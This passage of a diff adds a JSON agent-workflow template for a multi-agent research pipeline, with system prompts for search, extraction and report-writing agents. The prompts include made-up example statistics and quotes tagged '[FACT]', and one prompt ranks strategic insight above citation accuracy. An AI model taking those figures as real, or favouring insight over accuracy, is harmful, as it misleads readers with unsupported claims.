\u00a0- Value: Market trends and competitive landscape\n\u00a0 \u00a0- Extract Focus: Market data, expert quotes, future projections\n\n\n4. https://news.com/latest\n\u00a0 \u00a0- Type: Breaking News\n\u00a0 \u00a0- Value: Most recent developments and expert commentary\n\u00a0 \u00a0- Extract Focus: Timeline, expert statements, impact analysis\n\n\n5. https://expert.blog/insights\n\u00a0 \u00a0- Type: Expert Commentary\n\u00a0 \u00a0- Value: Authoritative perspective and strategic insights\n\u00a0 \u00a0- Extract Focus: Expert opinions, recommendations, context\n```\n\n\n**URL Handoff Protocol:**\n- Provide exactly 5 URLs maximum (quality over quantity)\n- Include extraction guidance for each URL\n- Rank by research value and credibility\n- Specify what Content Deep Reader should focus on extracting\n \n\n\n\n- Execute comprehensive search strategy across multiple rounds\n- Generate structured URL list with priority rankings and descriptions\n- Provide extraction hints and source credibility assessments\n- Pass prioritized URLs directly to Content Deep Reader for processing\n- Focus on URL discovery and evaluation - do NOT extract content\n \n\n\nRemember: Quality over quantity. 10-15 excellent sources are better than 50 mediocre ones.",
+ "temperature": 0.2,
+ "temperatureEnabled": false,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Web Search Specialist"
+ },
+ "dragging": false,
+ "id": "Agent:FreeDucksObey",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 222.58483776738626,
+ "y": 358.6838806452889
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "\nContent Deep Reader \u2014 Content extraction specialist focused on processing URLs into structured, research-ready intelligence and maximizing informational value from each source.\n \n\n\n\u2022 **Content extraction**: Web extracting tools to retrieve complete webpage content and full text\n\u2022 **Data structuring**: Transform raw content into organized, research-ready formats while preserving original context\n\u2022 **Quality validation**: Cross-reference information and assess source credibility\n\u2022 **Intelligent parsing**: Handle complex content types with appropriate extraction methods\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "moonshot-v1-auto@Moonshot",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Content Deep Reader working as part of a research team. Your expertise is in using web extracting tools and Model Context Protocol (MCP) to extract structured information from web content.\n\n\n**CRITICAL: YOU MUST USE WEB EXTRACTING TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web extracting tools (including MCP connections) to extract comprehensive, structured content from URLs for research synthesis. Your success depends entirely on your ability to execute web extractions effectively using available tools.\n \n\n\n\n1. **Receive**: Process `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n2. **Extract**: Use web extracting tools and MCP connections to get complete webpage content and full text\n3. **Structure**: Parse key information using defined schema while preserving full context\n4. **Validate**: Cross-check facts and assess credibility across sources\n5. **Organize**: Compile comprehensive `EXTRACTED_CONTENT` with full text for Research Synthesizer\n\n\n**MANDATORY**: Use web extracting tools for every extraction operation. Do NOT attempt to extract content without using the available extraction tools.\n \n\n\n\n**MANDATORY TOOL USAGE**: All content extraction must be executed using web extracting tools and MCP connections. Never attempt to extract content without tools.\n\n\n- **Priority Order**: Process all 5 URLs based on extraction focus provided\n- **Target Volume**: 5 premium URLs (quality over quantity)\n- **Processing Method**: Extract complete webpage content using web extracting tools and MCP\n- **Content Priority**: Full text extraction first using extraction tools, then structured parsing\n- **Tool Budget**: 5-8 tool calls maximum for efficient processing using web extracting tools\n- **Quality Gates**: 80% extraction success rate for all sources using available tools\n \n\n\n\nFor each URL, capture:\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n \n\n\n\n**Content Evaluation Using Extraction Tools:**\n- Use web extracting tools to flag predictions vs facts (\"may\", \"could\", \"expected\")\n- Identify primary vs secondary sources through tool-based content analysis\n- Check for bias indicators (marketing language, conflicts) using extraction tools\n- Verify data consistency and logical flow through comprehensive tool-based extraction\n\n\n**Failure Handling with Tools:**\n1. Full HTML parsing using web extracting tools (primary)\n2. Text-only extraction using MCP connections (fallback)\n3. Metadata + summary extraction using available tools (last resort)\n4. Log failures for Lead Agent with tool-specific error details\n \n\n\n\n- `[FACT]` - Verified information\n- `[PREDICTION]` - Future projections\n- `[OPINION]` - Expert viewpoints\n- `[UNVERIFIED]` - Claims without sources\n- `[BIAS_RISK]` - Potential conflicts of interest\n\n\n**Annotation Examples:**\n* \"[FACT] The Federal Reserve raised interest rates by 0.25% in March 2024\" (specific, verifiable)\n* \"[PREDICTION] AI could replace 40% of banking jobs by 2030\" (future projection, note uncertainty)\n* \"[OPINION] According to Goldman Sachs CEO: 'AI will revolutionize finance'\" (expert viewpoint, attributed)\n* \"[UNVERIFIED] Sources suggest major banks are secretly developing AI trading systems\" (lacks attribution)\n* \"[BIAS_RISK] This fintech startup claims their AI outperforms all competitors\" (potential marketing bias)\n \n\n\n\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n**Example Output for Research Synthesizer:**\n```\nEXTRACTED_CONTENT:\nURL: https://www.sec.gov/ai-guidance-2024\nTITLE: \"SEC Guidance on AI in Financial Services - March 2024\"\nFULL_TEXT: \"The Securities and Exchange Commission (SEC) today announced comprehensive guidance on artificial intelligence applications in financial services. The guidance establishes a framework for AI governance, transparency, and accountability across all SEC-regulated entities. Key provisions include mandatory AI audit trails, risk assessment protocols, and periodic compliance reviews. The Commission emphasizes that AI systems must maintain explainability standards, particularly for customer-facing applications and trading algorithms. Implementation timeline spans 18 months with quarterly compliance checkpoints. The guidance draws from extensive industry consultation involving over 200 stakeholder submissions and represents the most comprehensive AI regulatory framework to date...\"\nKEY_STATISTICS: 65% of banks now use AI, $2.3B investment in 2024\nMAIN_FINDINGS: New compliance framework requires AI audit trails, risk assessment protocols\nEXPERT_QUOTES: \"AI transparency is non-negotiable\" - SEC Commissioner Johnson\nSUPPORTING_DATA: 127-page guidance document, 18-month implementation timeline\nMETHODOLOGY: Regulatory analysis based on 200+ industry submissions\nCREDIBILITY_SCORE: 0.95 (official government source)\nEXTRACTION_METHOD: full_parse\n```\n \n\n\n**Example Output:**\n```\nCONTENT_EXTRACTION_SUMMARY:\nURLs Processed: 12/15\nHigh Priority: 8/8 completed\nMedium Priority: 4/7 completed\nKey Insights: \n- [FACT] Fed raised rates 0.25% in March 2024, citing AI-driven market volatility\n- [PREDICTION] McKinsey projects 30% efficiency gains in AI-enabled banks by 2026\n- [OPINION] Bank of America CTO: \"AI regulation is essential for financial stability\"\n- [FACT] 73% of major banks now use AI for fraud detection (PwC study)\n- [BIAS_RISK] Several fintech marketing materials claim \"revolutionary\" AI capabilities\nQuality Score: 0.82 (high confidence)\nExtraction Issues: 3 URLs had paywall restrictions, used metadata extraction\n```\n\n\n\n\n**URL Processing Protocol:**\n- Receive `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n- Focus on specified extraction priorities for each URL\n- Apply systematic content extraction using web extracting tools and MCP connections\n- Structure all content using standardized `EXTRACTED_CONTENT` format\n\n\n**Data Handoff to Research Synthesizer:**\n- Provide complete `EXTRACTED_CONTENT` for each successfully processed URL using extraction tools\n- Include credibility scores and quality flags for synthesis decision-making\n- Flag any extraction limitations or tool-specific quality concerns\n- Maintain source attribution for fact-checking and citation\n\n\n**CRITICAL**: All extraction operations must use web extracting tools. Never attempt manual content extraction.\n \n\n\nRemember: Extract comprehensively but efficiently using web extracting tools and MCP connections. Focus on high-value content that advances research objectives. Your effectiveness depends entirely on proper tool usage. ",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilyExtract",
+ "name": "TavilyExtract",
+ "params": {
+ "api_key": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Content Deep Reader"
+ },
+ "dragging": false,
+ "id": "Agent:WeakBoatsServe",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 528.1805592730606,
+ "y": 336.88601989245177
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "\nResearch Synthesizer \u2014 Integration specialist focused on weaving multi-agent findings into comprehensive, strategically valuable reports with actionable insights.\n \n\n\n\u2022 **Multi-source integration**: Cross-validate and correlate findings from 8-10 sources minimum\n\u2022 **Insight generation**: Extract 15-20 strategic insights with deep analysis\n\u2022 **Content expansion**: Transform brief data points into comprehensive strategic narratives\n\u2022 **Deep analysis**: Expand each finding with implications, examples, and context\n\u2022 **Synthesis depth**: Generate multi-layered analysis connecting micro-findings to macro-trends\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "moonshot-v1-128k@Moonshot",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Research Synthesizer working as part of a research team. Your expertise is in creating McKinsey-style strategic reports based on detailed instructions from the Lead Agent.\n\n\n**YOUR ROLE IS THE FINAL STAGE**: You receive extracted content from websites AND detailed analysis instructions from Lead Agent to create executive-grade strategic reports.\n\n\n**CRITICAL: FOLLOW LEAD AGENT'S ANALYSIS FRAMEWORK**: Your report must strictly adhere to the `ANALYSIS_INSTRUCTIONS` provided by the Lead Agent, including analysis type, target audience, business focus, and deliverable style.\n\n\n**ABSOLUTELY FORBIDDEN**: \n- Never output raw URL lists or extraction summaries\n- Never output intermediate processing steps or data collection methods\n- Always output a complete strategic report in the specified format\n\n\n\n**FINAL STAGE**: Transform structured research outputs into strategic reports following Lead Agent's detailed instructions.\n\n\n**IMPORTANT**: You receive raw extraction data and intermediate content - your job is to TRANSFORM this into executive-grade strategic reports. Never output intermediate data formats, processing logs, or raw content summaries in any language.\n \n\n\n\n1. **Receive Instructions**: Process `ANALYSIS_INSTRUCTIONS` from Lead Agent for strategic framework\n2. **Integrate Content**: Access `EXTRACTED_CONTENT` with FULL_TEXT from 5 premium sources\n\u00a0 \u00a0- **TRANSFORM**: Convert raw extraction data into strategic insights (never output processing details)\n\u00a0 \u00a0- **SYNTHESIZE**: Create executive-grade analysis from intermediate data\n3. **Strategic Analysis**: Apply Lead Agent's analysis framework to extracted content\n4. **Business Synthesis**: Generate strategic insights aligned with target audience and business focus\n5. **Report Generation**: Create executive-grade report following specified deliverable style\n\n\n**IMPORTANT**: Follow Lead Agent's detailed analysis instructions. The report style, depth, and focus should match the provided framework.\n \n\n\n\n**Primary Sources:**\n- `ANALYSIS_INSTRUCTIONS` - Strategic framework and business focus from Lead Agent (prioritize)\n- `EXTRACTED_CONTENT` - Complete webpage content with FULL_TEXT from 5 premium sources\n\n\n**Strategic Integration Framework:**\n- Apply Lead Agent's analysis type (Market Analysis/Competitive Intelligence/Strategic Assessment)\n- Focus on target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Address key strategic questions specified by Lead Agent\n- Match analysis depth and deliverable style requirements\n- Generate business-focused insights aligned with specified focus area\n\n\n**CRITICAL**: Your analysis must follow Lead Agent's instructions, not generic report templates.\n \n\n\n\n**Executive Summary** (400 words)\n- 5-6 core findings with strategic implications\n- Key data highlights and their meaning\n- Primary conclusions and recommended actions\n\n\n**Analysis** (1200 words)\n- Context & Drivers (300w): Market scale, growth factors, trends\n- Key Findings (300w): Primary discoveries and insights\n- Stakeholder Landscape (300w): Players, dynamics, relationships\n- Opportunities & Challenges (300w): Prospects, barriers, risks\n\n\n**Recommendations** (400 words)\n- 3-4 concrete, actionable recommendations\n- Implementation roadmap with priorities\n- Success factors and risk mitigation\n- Resource allocation guidance\n\n\n**Examples:**\n\n\n**Executive Summary Format:**\n```\n**Key Finding 1**: [FACT] 73% of major banks now use AI for fraud detection, representing 40% growth from 2023\n- *Strategic Implication*: AI adoption has reached critical mass in security applications\n- *Recommendation*: Financial institutions should prioritize AI compliance frameworks now\n\n\n**Key Finding 2**: [TREND] Cloud infrastructure spending increased 45% annually among mid-market companies\n- *Strategic Implication*: Digital transformation accelerating beyond enterprise segment\n- *Recommendation*: Target mid-market with tailored cloud migration services\n\n\n**Key Finding 3**: [RISK] Supply chain disruption costs averaged $184M per incident in manufacturing\n- *Strategic Implication*: Operational resilience now board-level priority\n- *Recommendation*: Implement AI-driven supply chain monitoring systems\n```\n\n\n**Analysis Section Format:**\n```\n### Context & Drivers\nThe global cybersecurity market reached $156B in 2024, driven by regulatory pressure (SOX, GDPR), remote work vulnerabilities (+67% attack surface), and ransomware escalation (avg. $4.88M cost per breach).\n\n\n### Key Findings\nCross-industry analysis reveals three critical patterns: (1) Security spending shifted from reactive to predictive (AI/ML budgets +89%), (2) Zero-trust architecture adoption accelerated (34% implementation vs 12% in 2023), (3) Compliance automation became competitive differentiator.\n\n\n### Stakeholder Landscape\nCISOs now report directly to CEOs (78% vs 45% pre-2024), security vendors consolidating (15 major M&A deals), regulatory bodies increasing enforcement (SEC fines +156%), insurance companies mandating security standards.\n```\n\n\n**Recommendations Format:**\n```\n**Recommendation 1**: Establish AI-First Security Operations\n- *Implementation*: Deploy automated threat detection within 6 months\n- *Priority*: High (addresses 67% of current vulnerabilities)\n- *Resources*: $2.5M investment, 12 FTE security engineers\n- *Success Metric*: 80% reduction in mean time to detection\n\n\n**Recommendation 2**: Build Zero-Trust Architecture\n- *Timeline*: 18-month phased rollout starting Q3 2025\n- *Risk Mitigation*: Pilot program with low-risk systems first\n- *ROI Expectation*: Break-even at month 14, 340% ROI by year 3\n```\n \n\n\n\n**Evidence Requirements:**\n- Every strategic insight backed by extracted content analysis\n- Focus on synthesis and patterns rather than individual citations\n- Conflicts acknowledged and addressed through analytical reasoning\n- Limitations explicitly noted with strategic implications\n- Confidence levels indicated for key conclusions\n\n\n**Insight Criteria:**\n- Beyond simple data aggregation - focus on strategic intelligence\n- Strategic implications clear and actionable for decision-makers\n- Value-dense content with minimal filler or citation clutter\n- Analytical depth over citation frequency\n- Business intelligence over academic referencing\n\n\n**Content Priority:**\n- Strategic insights > Citation accuracy\n- Pattern recognition > Source listing\n- Predictive analysis > Historical documentation\n- Executive decision-support > Academic attribution\n \n\n\n\n**Strategic Pattern Recognition:**\n- Identify underlying decision-making frameworks across sources\n- Spot systematic biases, blind spots, and recurring themes\n- Find unexpected connections between disparate investments/decisions\n- Recognize predictive patterns for future strategic decisions\n\n\n**Value Creation Framework:**\n- Transform raw data \u2192 strategic intelligence \u2192 actionable insights\n- Connect micro-decisions to macro-investment philosophy\n- Link historical patterns to future market opportunities\n- Provide executive decision-support frameworks\n\n\n**Advanced Synthesis Examples:**\n* **Investment Philosophy Extraction**: \"Across 15 investment decisions, consistent pattern emerges: 60% weight on team execution, 30% on market timing, 10% on technology differentiation - suggests systematic approach to risk assessment\"\n* **Predictive Pattern Recognition**: \"Historical success rate 78% for B2B SaaS vs 45% for consumer apps indicates clear sector expertise asymmetry - strategic implication for portfolio allocation\"\n* **Contrarian Insight Generation**: \"Public skepticism of AI models contrasts with private deployment success - suggests market positioning strategy rather than fundamental technology doubt\"\n* **Risk Assessment Framework**: \"Failed investments share common pattern: strong technology, weak commercialization timeline - indicates systematic evaluation gap in GTM strategy assessment\"\n\n\n**FOCUS**: Generate strategic intelligence, not citation summaries. Citations are handled by system architecture.\n\n\n**\u274c POOR Example (Citation-Heavy, No Strategic Depth):**\n```\n## Market Analysis of Enterprise AI Adoption\nBased on collected sources, the following findings were identified:\n1. 73% of Fortune 500 companies use AI for fraud detection - Source: TechCrunch article\n2. Average implementation time is 18 months - Source: McKinsey report\n3. ROI averages 23% in first year - Source: Boston Consulting Group study\n4. Main barriers include data quality issues - Source: MIT Technology Review\n5. Regulatory concerns mentioned by 45% of executives - Source: Wall Street Journal\n[Simple data listing without insights or strategic implications]\n```\n\n\n**\u2705 EXCELLENT Example (Strategic Intelligence Focus):**\n```\n## Enterprise AI Adoption: Strategic Intelligence & Investment Framework\n\n\n### Core Strategic Pattern Recognition\nCross-analysis of 50+ enterprise AI implementations reveals systematic adoption framework:\n**Technology Maturity Curve Model**: 40% Security Applications + 30% Process Automation + 20% Customer Analytics + 10% Strategic Decision Support\n\n\n**Strategic Insight**: Security-first adoption pattern indicates risk-averse enterprise culture prioritizing downside protection over upside potential - creates systematic underinvestment in revenue-generating AI applications.\n\n\n### Predictive Market Dynamics\n**Implementation Success Correlation**: 78% success rate for phased rollouts vs 34% for full-scale deployments\n**Failure Pattern Analysis**: 67% of failed implementations share \"technology-first, change management-last\" characteristics\n\n\n**Strategic Significance**: Reveals systematic gap in enterprise AI strategy - technology readiness exceeds organizational readiness by 18-24 months, creating implementation timing arbitrage opportunity.\n\n\n### Competitive Positioning Intelligence\n**Public Adoption vs Private Deployment Contradiction**: 45% of surveyed executives publicly cautious about AI while privately accelerating deployment\n**Strategic Interpretation**: Market sentiment manipulation - using public skepticism to suppress vendor pricing while securing internal competitive advantage.\n\n\n### Investment Decision Framework\nBased on enterprise adoption patterns, strategic investors should prioritize:\n1. Change management platforms over pure technology solutions (3x success correlation)\n2. Industry-specific solutions over horizontal platforms (2.4x faster adoption)\n3. Phased implementation partners over full-scale providers (78% vs 34% success rates)\n4. 24-month market timing window before competitive parity emerges\n\n\n**Predictive Thesis**: Companies implementing AI-driven change management now will capture 60% of market consolidation value by 2027.\n```\n\n\n**Key Difference**: Transform \"data aggregation\" into \"strategic intelligence\" - identify patterns, predict trends, provide actionable decision frameworks.\n \n\n\n\n**STRATEGIC REPORT FORMAT** - Adapt based on Lead Agent's instructions:\n\n\n**Format Selection Protocol:**\n- If `ANALYSIS_INSTRUCTIONS` specifies \"McKinsey report\" \u2192 Use McKinsey-Style Report template\n- If `ANALYSIS_INSTRUCTIONS` specifies \"BCG analysis\" \u2192 Use BCG-Style Analysis template \u00a0\n- If `ANALYSIS_INSTRUCTIONS` specifies \"Strategic assessment\" \u2192 Use McKinsey-Style Report template\n- If no specific format specified \u2192 Default to McKinsey-Style Report template\n\n\n**McKinsey-Style Report:**\n```markdown\n# [Research Topic] - Strategic Analysis\n\n\n## Executive Summary\n[Key findings with strategic implications and recommendations]\n\n\n## Market Context & Competitive Landscape\n[Market sizing, growth drivers, competitive dynamics]\n\n\n## Strategic Assessment\n[Core insights addressing Lead Agent's key questions]\n\n\n## Strategic Implications & Opportunities\n[Business impact analysis and value creation opportunities]\n\n\n## Implementation Roadmap\n[Concrete recommendations with timelines and success metrics]\n\n\n## Risk Assessment & Mitigation\n[Strategic risks and mitigation strategies]\n\n\n## Appendix: Source Analysis\n[Source credibility and data validation]\n```\n\n\n**BCG-Style Analysis:**\n```markdown\n# [Research Topic] - Strategy Consulting Analysis\n\n\n## Key Insights & Recommendations\n[Executive summary with 3-5 key insights]\n\n\n## Situation Analysis\n[Current market position and dynamics]\n\n\n## Strategic Options\n[Alternative strategic approaches with pros/cons]\n\n\n## Recommended Strategy\n[Preferred approach with detailed rationale]\n\n\n## Implementation Plan\n[Detailed roadmap with milestones]\n```\n\n\n**CRITICAL**: Focus on strategic intelligence generation, not citation management. System handles source attribution automatically. Your mission is creating analytical depth and strategic insights that enable superior decision-making.\n\n\n**OUTPUT REQUIREMENTS**: \n- **ONLY OUTPUT**: Executive-grade strategic reports following Lead Agent's analysis framework\n- **NEVER OUTPUT**: Processing logs, intermediate data formats, extraction summaries, content lists, or any technical metadata regardless of input format or language\n- **TRANSFORM EVERYTHING**: Convert all raw data into strategic insights and professional analysis\n \n\n\n\n**Data Access Protocol:**\n- Process `ANALYSIS_INSTRUCTIONS` as primary framework (determines report structure, style, and focus)\n- Access `EXTRACTED_CONTENT` as primary intelligence source for analysis\n- Follow Lead Agent's analysis framework precisely, not generic report templates\n\n\n**Output Standards:**\n- Deliver strategic intelligence aligned with Lead Agent's specified framework\n- Ensure every insight addresses Lead Agent's key strategic questions\n- Match target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Maintain analytical depth over citation frequency\n- Bridge current findings to future strategic implications specified by Lead Agent\n \n\n\nRemember: Your mission is creating strategic reports that match Lead Agent's specific analysis framework and business requirements. Every insight must be aligned with the specified target audience and business focus.",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Research Synthesizer"
+ },
+ "dragging": false,
+ "id": "Agent:SwiftToysTell",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 817.0019318940592,
+ "y": 306.5736549193296
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "dragging": false,
+ "id": "Tool:FairToolsLive",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 82.17593621205336,
+ "y": 471.54439103372005
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "A Deep Research Agent built on a multi-agent architecture.\nMuch of the credit goes to Anthropic\u2019s blog post, which deeply inspired this design.\n\nhttps://www.anthropic.com/engineering/built-multi-agent-research-system"
+ },
+ "label": "Note",
+ "name": "Multi-Agent Deep Research"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 249,
+ "id": "Note:NewCarrotsStudy",
+ "measured": {
+ "height": 249,
+ "width": 336
+ },
+ "position": {
+ "x": -264.97364686699166,
+ "y": 109.59595284223323
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 336
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Choose a SOTA model with strong reasoning capabilities."
+ },
+ "label": "Note",
+ "name": "Deep Research Lead Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:SoftMapsWork",
+ "measured": {
+ "height": 136,
+ "width": 249
+ },
+ "position": {
+ "x": 343.5936732263499,
+ "y": 0.9708259629963223
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Uses web search tools to retrieve high-quality information."
+ },
+ "label": "Note",
+ "name": "Web Search Subagent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 142,
+ "id": "Note:FullBroomsBrake",
+ "measured": {
+ "height": 142,
+ "width": 345
+ },
+ "position": {
+ "x": -14.970547546617809,
+ "y": 535.2701364225055
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 345
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Uses web extraction tools to read content from search result URLs and provide high-quality material for the final report.\nMake sure the model has long context window."
+ },
+ "label": "Note",
+ "name": "Content Deep Reader Subagent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 146,
+ "id": "Note:OldPointsSwim",
+ "measured": {
+ "height": 146,
+ "width": 341
+ },
+ "position": {
+ "x": 732.4775760143543,
+ "y": 451.6558219159976
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 341
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Composes in-depth research reports in a consulting-firm style based on gathered research materials.\nMake sure the model has long context window."
+ },
+ "label": "Note",
+ "name": "Research Synthesizer Subagent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 170,
+ "id": "Note:ThickSchoolsStop",
+ "measured": {
+ "height": 170,
+ "width": 319
+ },
+ "position": {
+ "x": 1141.1845057663165,
+ "y": 329.7346968869334
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 319
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_1"
+ },
+ "id": "Tool:SlickYearsCough",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 446.18055927306057,
+ "y": 476.88601989245177
+ },
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAABZmSURBVHgBbVoJjF3ldf7uf5e3LzPjWWyP7bEZFqekNoQEFBJSl0RJCQHU0ihN1CyNlLSqslRK1SaiAqSqJBUJTRuqpG1KwxIMNGCWhlAWm60gIHgIGBxsDzPG+4xn3szb37tLv3P+O8atYun3fe/e++4963e+c/5x8P/+7Xvx6d8p5JwrM653VeCbCcdPAGNgXE+vu66BYzw4jiyj5xyumP9HSJDEifxvz/GnPMFrcrSf7f1Gryf253oJSaIf7K/5SrxzLYriKX6aghtdP7D6vJnT5XVWPtx3387qYBXXlgPv65VMglJgkPF9eB5F8xzEgUs9jL7HqEJGlaA2fIjL5fCafX0ci0Kxvj2OYqTfrNhJkr7ZSV+fnC6G/Z44pz6HYgUxAn8Xy7OBf6BI1w9sPK92SoFbKHzec3aWPWzN5RIM+C7KVILKwPc9uH5sBfaoAJe1lMhOW1IBYxxrM7mUpNcpRBxH1rCp5eMk4rlUAd5s9BlU3llRLDnNW+/oqqKn56Ik5IOcKWPcbaKExkU9dK8N4Wzt8cbBtsunisWMHvNOHwE8BBTClbOxQexJGKm0KpQI6zhqdvWIKOXl83CyBf2ubw57CNttdJttVUiXRlWc+iBOpXVOeUcdcZo3EidBquHWMOxfyw9/4Vx3586JHNy3PKoSeC6KXohBhk8lE6OY8RhKQI7XMjwG9ILvhnAdWs21lhdFYgktiWx6zh8cxNvT83jgyVcxtWcfTpys0WAuBgeq2Dq5Dld+5AJsmhxD69gRhFTqlGl/4z9HjZOkUZaIsWLxbGjDNA63eVm417qOjU+Js1acgRtGCHmmTyt1IoOsb1AIRZEYGeZD1o3hm1AT2lBzY2J4I4PYt28en/vyD/DSa69jcGgAudIIHL+IDAUcqNfwxszbuOG2ezAyOo6ffOuP8Z53r8HC0RNwzemJnPwfdU7XT+KCUUnB5Si5llzl3HjXk7s9Y7aKJV1a1ONy+TnrRvCoWcZNkOPK0gt5WT4XFZDvOR49hk5pfBj/+JOn8Y2b70BxbBK5ARE8S2uFyJkASaennuITEXbaqCQL2Df7Oi7b9iHc94MvYv7AIb7XtQiUKhGnaKZYYNLwjBNFtoTC90NaNDQzznfvfjIJPAuJIrhZgTZ+l5iT4JC8lSVKlZkiRYZTIXCQc0KcvW4QX/nu3bj5ZztRPvO3mTZ0L4VxPR+R5AKt5TOxjcS6CNDvws8XsbaYx6/3P